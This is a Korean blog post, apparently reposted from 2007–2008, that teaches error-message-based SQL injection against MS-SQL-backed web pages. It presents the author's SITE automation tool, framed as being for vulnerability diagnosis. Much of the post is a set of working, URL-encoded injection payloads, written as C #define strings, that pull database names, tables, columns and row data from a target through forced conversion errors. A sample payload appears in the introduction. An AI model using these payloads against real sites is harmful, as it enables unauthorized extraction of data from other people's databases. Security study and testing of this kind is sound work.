MS-SQL 에러 메세지 기반 인젝션 공격 및 툴

이 툴은 2007년도에 제작한 SQL 인젝션 툴입니다. 기존 파란 블로그(blog.paran.com/franc3sco)를 삭제하고 포스팅했던 글을 별도로 백업을 받아 놓지 않아서 뒤늦게 후회를 했습니다. 그런데 우연히 다른 분 블로그에서 2008년도 작성한 글을 찾았습니다. 그래서 다시 소스도 다시 링크 하였습니다.

참고) 윈도우 개발자가 아닙니다. 그래서 MFC 공부하면서 만든 프로그램이라서 많이 허술합니다.

들어가기

MS-SQL DBMS와 연동하여 데이터를 처리하는 웹 페이지가 있고, 웹 페이지에 에러 메시지 기반의 SQL Injection 취약점이 있다고 가정하자. 여기서 에러 메시지 기반 SQL Injection취약점 이라는 것은 SQL Injection 공격 코드(예, ‘ or 1=db_name()–)를 입력하였을때 SQL Query 구문 에러로 인하여 MS-SQL 에러 메시지가 웹 페이지가 출력되는 것을 의미한다.

‘ or 1=db_name()–이라는 SQL Injection 코드를 입력하였을 때, 출력되는 에러 메시지이다. nvarchar 값 ‘demoshop‘을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다

위 에러 메시지의 demoshop 문자열이 핵심이다. demoshop은 db_name()의 값이며 현재 연결되어 있는 데이터베이스 이름이다. 이처럼 MS-SQL는 SQL Injection 취약점으로 인해 에러가 발생할 경우 친절(?)하게도 DBMS 정보를 출력해 준다.
단지 에러 메시지로 데이터베이스 이름만 확인 할 수 있을 까 ? 아니다. 데이터베이스 뿐만 아니라 테이블, 필드 그리고 데이터까지 확인할 수 있다. 에러 메시지를 출력하는 SQL Injection 취약점이 미치는 영향이 생각되지 않는가. 데이터베이스와 연동하여 데이터를 처리하는 모든 웹 페이지에서 이와 같은 위협이 존재하는 것이다.
맛보기
 Injection 취약점이 무엇인지 감을 잡을 것으로 생각한다. 또한 이 취약점으로 인한 파급효과가  일지 구지 설명하지 않아도 눈치 챗을 것으로 생각한다. 감이 오지 않는 분을 위해 직관적으로 알 수 있는 스냅샷을 준비했다. 아래 이미지는 SITE 툴의 스냅샷으로 위에서 언급했던 에러 메시지 기반 SQL Injection 자동화 툴이다. 이 툴은 SQL Injection 취약점 진단 용으로 만들었으며 누구나 다운로드 받아 사용할 수 있도록 공개하였다. SITE 툴 보다 더 다양한 기능을 제공하는 툴은 많이 있으나(대표적으로, HDSI, NBSI,FG-Injector, SQL Power Injector, Absinthe 등등) 대부분 국외 코더(?)에 의해서 만들어져 있고 SQL Injection 취약점이 존재하는 다양한 환경을 지원하지 못하는 경우가 있으며 또한 커스터마이징이 안되는 불편한 점이 있어서 직접 제작하게 되었다. 향후 어느 정도 안정화가 되면 소스 코드를 공개할 계획이다.

SITE 툴 소스 필요하시면 메일(kimfrancesco@지메일) 주세요. 예전에 링크걸었던 franc3sco.cafe24.com에는 없습니다.

SITE 툴 스냅샷에서 볼 수 있듯이, SQL injection 취약점으로 데이터베이스를 구성하는 테이블, 필드, 그리고 데이터까지 확인하게 된다. 놀아보기 SITE 툴 스냅샷으로 맛보기를 하였다면 툴에 의존하지 않고 수작업으로 원하는 데이터에 접근하는 방법을 확인해보자. 에러 메시지 기반 SQL Injection 공격에 대해서는 간략히 나마 설명했으니 실질적으로 공격 코드 중심으로 설명하도록 하겠다. 공격 코드는 HDSI(NBSI) 툴의 인젝션 로그를 분석하여 확인된 코드로 SITE 툴에서도 사용하였다. SITE툴 소스에 코딩되어 있는 인젝션 코드는 다음과 같다.(C Language Style)

#define MSSQL_INJCODE_NUMOFDATABSE "%%20or%%20(select%%20char(94)%%2Bcast(count(1)%%20as%%20varchar(80))%%2Bchar(94)%%20from%%20[master]..[sysdatabases]%%20)=0–"

#define MSSQL_INJCODE_ALLDATABASE "%%20or%%20(select%%20cast(char(94)%%2Bname%%2Bchar(94)%%20as%%20varchar(8000))%%20from%%20[master]..[sysdatabases]%%20where%%20dbid=%d)>0%%20–"

#define MSSQL_INJCODE_CURRENTDATABASE "%20or%201=(char(94)%2Bdb_name()%2Bchar(94))–"

#define MSSQL_INJCODE_NUMOFTABLES "%%20or%%20(select%%20char(94)%%2Bcast(count(1)%%20as%%20varchar(80))%%2Bchar(94)%%20from%%20[%s]..[sysobjects]%%20where%%20xtype=char(85))=0–"

#define MSSQL_INJCODE_TABLENAME "%%20or%%20(Select%%20Top%%201%%20cast(char(94)%%2Bname%%2Bchar(94)%%20as%%20varchar(8000))%%20from(Select%%20Top%%20%d%%20id,name%%20from%%20[%s]..[sysobjects]%%20Where%%20xtype=char(85)%%20order%%20by%%20name%%20asc,id%%20desc)%%20T%%20order%%20by%%20name%%20desc,id%%20asc)>0%%20–"

#define MSSQL_INJCODE_NUMOFFIELD "%%20or%%20(select%%20char(94)%%2Bcast(count(1)%%20as%%20varchar(80))%%2Bchar(94)%%20from%%20[%s]..[syscolumns]%%20A,[%s]..[sysobjects]%%20B%%20where%%20A.id=B.id%%20and%%20B.name=’%s’)>0%%20–"

#define MSSQL_INJCODE_FIELDNAME "%%20or%%20(select%%20Top%%201%%20cast(char(94)%%2Bname%%2Bchar(94)%%20as%%20varchar(80))%%20from(Select%%20Top%%20%d%%20B.name%%20from%%20[%s]..[sysobjects]%%20A%%20,[%s]..[syscolumns]%%20B%%20where%%20A.id=B.id%%20and%%20A.name=’%s’%%20order%%20by%%20B.name%%20asc)%%20T%%20order%%20by%%20name%%20desc)>0%%20–"

#define MSSQL_INJCODE_NUMOFDATA "%%20or%%20(Select%%20char(94)%%2BCast(Count(1)%%20as%%20varchar(8000))%%2Bchar(94)%%20From%%20[%s]..[%s]%%20Where%%201=1)>0%%20–"

#define MSSQL_INJCODE_DATAVALUE "%%20or%%20(select%%20top%%201%%20char(94)%%2Bcast(%s%%20as%%20varchar(8000))%%2Bchar(94)%%20%%20from%%20(%%20select%%20top%%20%d%%20%s%%20from%%20[%s]..[%s]%%20order%%20by%%20%s%%20desc%%20)%%20as%%20as_TableName%%20order%%20by%%20%s%%20asc%%20)>0%%20–"

위 인젝션 코드를 보면 공통적으로 SELECT 하여 문자열로 변환한 후 정수인 0과 비교하여 강제로 에러가 발생하도록 한 것이다. 또한, 에러가 발생한 SELECT 값을 구분하기 위해서 ^(char(94))문자를 결과 값에 덧붙인 것을 알 수 있다. SELECT 결과 값을 문자열로 변환한 후 ^ 구분자를 덧붙인 코드는 char(94)%%2Bcast(count(1)%%20as%%20varchar(80))%%2Bchar(94)과 같은 형식으로 되어 있다. 에러를 유발시키기 위해서 사용한 코드는 (select%%20char(94)%%2Bcast(…)%%2Bchar(94)…%%20)=0과 같은 형식으로 되어 있다. SELECT 결과 값을 문자열로 cast 한 후 타입이 다른 정수값과 비교시켜 에러를 유발한 것이다. SELECT 결과 값 변환과 에러 유발하는 코드 외, 실제 데이터를 뽑아내는 SQL 질의문을 보면 참으로 기발하다는 생각이 든다. 데이터를 추출해 내는 코드에 대해서도 설명하고자 하였으나 직접 분석해 보는 것이 더 의미가 있을 것 같아서 설명 부분을 생략하기로 한다.

SQL Injection 코드를 최초로 사용한 코더가 누군지 궁금할 따름이다.
Advertisements

답글 남기기

아래 항목을 채우거나 오른쪽 아이콘 중 하나를 클릭하여 로그 인 하세요:

WordPress.com 로고

WordPress.com의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

Google+ photo

Google+의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

Twitter 사진

Twitter의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

Facebook 사진

Facebook의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

%s에 연결하는 중

%d 블로거가 이것을 좋아합니다: